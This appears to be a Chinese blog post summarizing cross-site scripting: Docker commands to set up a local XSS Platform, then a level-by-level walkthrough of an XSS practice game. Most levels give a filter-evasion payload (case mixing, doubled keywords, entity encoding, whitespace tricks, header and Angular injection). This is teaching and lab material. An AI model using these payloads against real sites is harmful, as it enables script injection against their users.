XSS 总结

XSS(Cross Site Script),跨站脚本攻击

XSS总结

Docker 快速搭建 XSS Platform

Github - XSS Platform 中作者给出了使用 Docker 搭建的方式,文章,做一下记录。

安装 MySQL

1
docker run --name mysql5.6 -e MYSQL_ROOT_PASSWORD=********* -d -i -p 33006:3306 mysql:5.6

安装 XSS Platform

1
docker run --name xssplatform --link mysql5.6:db -d -i -p 8888:80 daxia/websafe:latest

修改 hosts

1
vim /etc/hosts

添加一条记录

1
127.0.0.1 xss.localhost

启动 php 和 nginx 服务

1
docker exec xssplatform zsh -c "php /root/start.php"

访问http://xss.localhost:8888/打开安装页面,因为已经把 mysql 容器链接到了 xssplatform 容器,数据库地址直接填写 db 即可。

XSS闯关小游戏

level 2

搜索框中闭合 value 属性和 input 标签

1
"><script>alert(1)</script>

level 3

上一个方法不管用,过滤了尖括号,单引号闭合属性后用事件弹窗,注释掉后面的内容

1
' onclick=alert(1)//

level 4

和上一个差不多,用双引号闭合

1
" onclick=alert(1)//

level 5

过滤了 script 和 on ,可以用 a 标签

1
"><a href="javascript:alert(1)"

level 6

还是过滤了 on 和 script href,但是可以用大小写绕过

1
" oNclick=alert(1)//

level 7

过滤差不多,这次会替换为空并且检测大小写,双写绕过

1
" oonNclick=alert(1)//

level 8

友情链接直接提供了一个 a href,但是没法直接使用javascript:alert(1),应该是过滤了 script,用 html 实体编码绕过

1
&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;

level 9

会检测 http 协议,过滤 script,把 http 放在注释中,用%09绕过过滤

1
javascr%09ipt:alert(1)//http://

level 10

存在隐藏的 form 表单,其中 t_sort可以注入

1
?keyword=well done!&t_sort=" type="text" onclick="alert(1)

level 11

隐藏的 form 表单,有一个 t_ref,应该是referer。抓包改一下

1
" type="text" onclick="alert(1)

level 12

差不多,这次是 user-agent

1
" type="text" onclick="alert(1)

level 13

cookie

1
" type="text" onclick="alert(1)

level 14

exif XSS,用含有payload的图片触发,没法复现

level 15

Angular5 ng-include 指令,ng-include 用于包含外部 HTML 文件,包含的内容作为指定元素的子节点。ng-include 属性的值可以是一个表达式,返回一个文件名。默认情况下,包含的文件需要包含在同一个域名下。

1
/level15.php?src='level1.php?name=test<img src=1 onerror=alert(1)>'

level 16

过滤了空格、script、/,使用%0d%0a作为分隔符。

1
?keyword=<img%0asrc=x%0donError=alert('xss')>

level 17

1
?arg01=a&arg02= onmouseover=alert(1)

level 18

1
?arg01=a&arg02=b onmouseout=alert(1)

level 19

Flash XSS,以后学习

1
?arg01=version&arg02=<a href="javascript:alert(1)">123</a>

level 20

同上

1
?arg01=id&arg02=\%22))}catch(e){}if(!self.a)self.a=!alert(1)//%26width%26height

CheetSheet

OWASP XSS Filter Evasion Cheetsheet

Github

作者

lll

发布于

2020-05-13

更新于

2022-09-19

许可协议